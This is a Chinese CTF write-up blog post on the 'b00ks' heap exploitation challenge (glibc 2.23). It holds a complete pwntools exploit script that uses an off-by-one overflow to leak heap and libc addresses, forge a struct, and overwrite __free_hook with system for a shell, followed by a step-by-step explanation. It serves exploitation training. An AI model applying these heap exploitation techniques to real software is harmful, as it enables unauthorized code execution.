Yk2eR0's Blog.

b00ks

字数统计: 1.1k阅读时长: 5 min
2021/04/16 Share

环境:ub16.04 x64 glibc2.23

菜单题,先看下保护:

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL

要先泄露偏移;不能覆写got表

PAYLOAD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111

from pwn import *
from LibcSearcher import *
import subprocess

s = lambda data: sh.send(data)
sa = lambda delim, data: sh.sendafter(delim, data)
sl = lambda data: sh.sendline(data)
sla = lambda delim, data: sh.sendlineafter(delim, data)
sea = lambda delim, data: sh.sendafter(delim, data)
r = lambda numb=4096: sh.recv(numb)
ru = lambda delims, drop=True: sh.recvuntil(delims, drop)
info_addr = lambda tag, addr: sh.info(tag + ': {:#x}'.format(addr))
itr = lambda: sh.interactive()
debug = lambda command='': gdb.attach(sh, command)

context(arch='amd64', os='linux', log_level="debug")


def one_gadget(filename):
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))


# one_gadget('/lib/x86_64-linux-gnu/libc.so.6')
#libc=LibcSearcher('puts',puts
sh = process(['b00ks'] , env={"LD_PRELOAD": "libc.so.6"})
#sh=remote('node3.buuoj.cn',26176)
elf=ELF('b00ks')
libc=ELF('libc.so.6')

def create(booksize,bookde):
sl(b'1')
r(0x17)
sl(b'32')
ru(': ')
sl(b'a'*20)
ru(':')
sl(booksize)
ru(':')
sl(bookde)
ru('>')
sleep(1)

def change(name):
sl(b'5')
ru(':')
sl(bytes(name))
ru('>')

def printde(stopl):
sl(b'4')
assert isinstance(stopl, bytes)
print(stopl)
ru(stopl)

a=r(6)
return a

def edit(ind,des):
sl(b'3')
ru(':')
sl(ind)
ru(':')
sl(des)
ru('>')


#gdb.attach(sh)
r()
sl(b'a'*32)
r(0x6f)
change(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
create(b'250',b'testtest')

addr=printde(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
b1addr=u64(addr.ljust(8,b'\x00')) #struct pointer

b2addr=b1addr+0x60
print(hex(b2addr))#leak the struct
r()
create(b'135168',b'1')#0x21000
chunk1=b'b'*0xb0+p64(1)+p64(b2addr+16)+p64(b2addr+8)+p64(0xdead)
edit(b'1',chunk1)#change ptr
change(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')#offby1
mm=printde(b'me: ')
mmap=u64(mm.ljust(8, b'\x00'))
print(hex(mmap))
ru(b'>')

libc_base=mmap-(0x7f95418aa010-0x00007f95412fb000) #debug vmmap-libc_base 0x5ca010 (0x7f95418aa010-0x00007f95412fb000)
print(hex(libc_base))

freehook=libc.symbols['__free_hook']+libc_base
system=libc.symbols['system']+libc_base+0x10
binsh=0x18cd57-(0x18cc98-0x18cd58)+libc_base
print('free'+hex(freehook))
print(hex(binsh))
print(hex(system))

chunk2=p64(binsh)+p64(freehook)
edit(b'1',chunk2) # change ptr
chunk3=p64(system)
edit(b'2',chunk3)
r()

sl(b'2')
ru(b': ')
sl(b'2')
#gdb.attach(sh)
#pause()
itr()

功能分析:

init

读取author_name,存放在全局变量区

create

创建一个结构体:{bookorder(DWORD);bookptr(QWORD);description(QWORD);descriptionsize(DWORD)}

从id=1开始赋值

最后指针都free了,没法uaf

delete

删除对应id的结构体,判断条件没越界(1-20)

会free最小id不正常结构体的所有指针

edit

编辑结构体的description,以’\n’结束输入

bookread

输出bookid,bookname,description,author.

使用printf输出,带参数,无法fmtstr.遇’\x00’结束.

cinname

重新输入author_name,在输入a位后,第a+1位赋值为0.a最大为32,有off by one.

结合bookread的遇’\x00’读可以尝试越界读

遇到’\n’结束输入

漏洞利用

先从已知的非法访问开始:

实现越界读

先写32位用户名,然后创建第一个bookstruct

1
2
3
4
5
6
7
8
9
r()
sl(b'a'*32)
r(0x6f)
change(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
create(b'250',b'testtest')

addr=printde(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
b1addr=u64(addr.ljust(8,b'\x00')) #struct pointer
print(hex(b1addr))#leak the struct

发现泄露值正是该bookstruct的结构体的description_ptr.

由于是小端序存储,那么我们在这个指针上覆盖一位0,就可以改变指针指向到低位的地址,而desptr正好指向这个结构体指针的低位,我们布置一下description,就可以伪造出一个新堆.

泄露libc

继续申请第二个堆,它的结构体指针就在第一个结构体指针体下方,调试出偏移,申请一个description大于0x21000的堆,此时vmmap和libc受pie相同影响,相对值恒定.伪造出如下结构的堆:

1
2
3
4
5
6
bbbbbbbbb......
-----------------------
|p64(1) | struct2+16 |
------------------------
|struct2+8| 0xdead |
------------------------

p64(1)的地址最后一位为’00’

此时调用change,printde,即可打印出struct2+16指针所指向的值.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
b2addr=b1addr+0x60
print(hex(b2addr))#leak the struct
r()
create(b'135168',b'1')#0x21000
chunk1=b'b'*0xb0+p64(1)+p64(b2addr+16)+p64(b2addr+8)+p64(0xdead)
edit(b'1',chunk1)#change ptr
change(b'baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')#offby1
mm=printde(b'me: ')
mmap=u64(mm.ljust(8, b'\x00'))
print(hex(mmap))
ru(b'>')

libc_base=mmap-(0x7f95418aa010-0x00007f95412fb000) #debug vmmap-libc_base 0x5ca010 (0x7f95418aa010-0x00007f95412fb000)
print(hex(libc_base))

调试算出偏移,即可泄露libc

任意写

通过edit修改book1,修改的是book2的description指针,然后再修改book2的description指针,修改的是description指针的值.

利用泄露的libc获得__free_hooksystem,'/bin/sh'地址.将system地址写入__free_hook.'/bin/sh'写入book2的name指针,这样delete book2后get shell了

原文作者:Yk2eR0

原文链接:https://www.yk2er0.fun/2021/04/16/b00ks/

发表日期:April 16th 2021, 7:36:44 pm

更新日期:April 17th 2021, 1:21:20 pm

版权声明:非商业用允许转载

CATALOG
  1. 1. PAYLOAD
  2. 2. 功能分析:
    1. 2.1. init
    2. 2.2. create
    3. 2.3. delete
    4. 2.4. edit
    5. 2.5. bookread
    6. 2.6. cinname
  3. 3. 漏洞利用
    1. 3.1. 实现越界读
    2. 3.2. 泄露libc
    3. 3.3. 任意写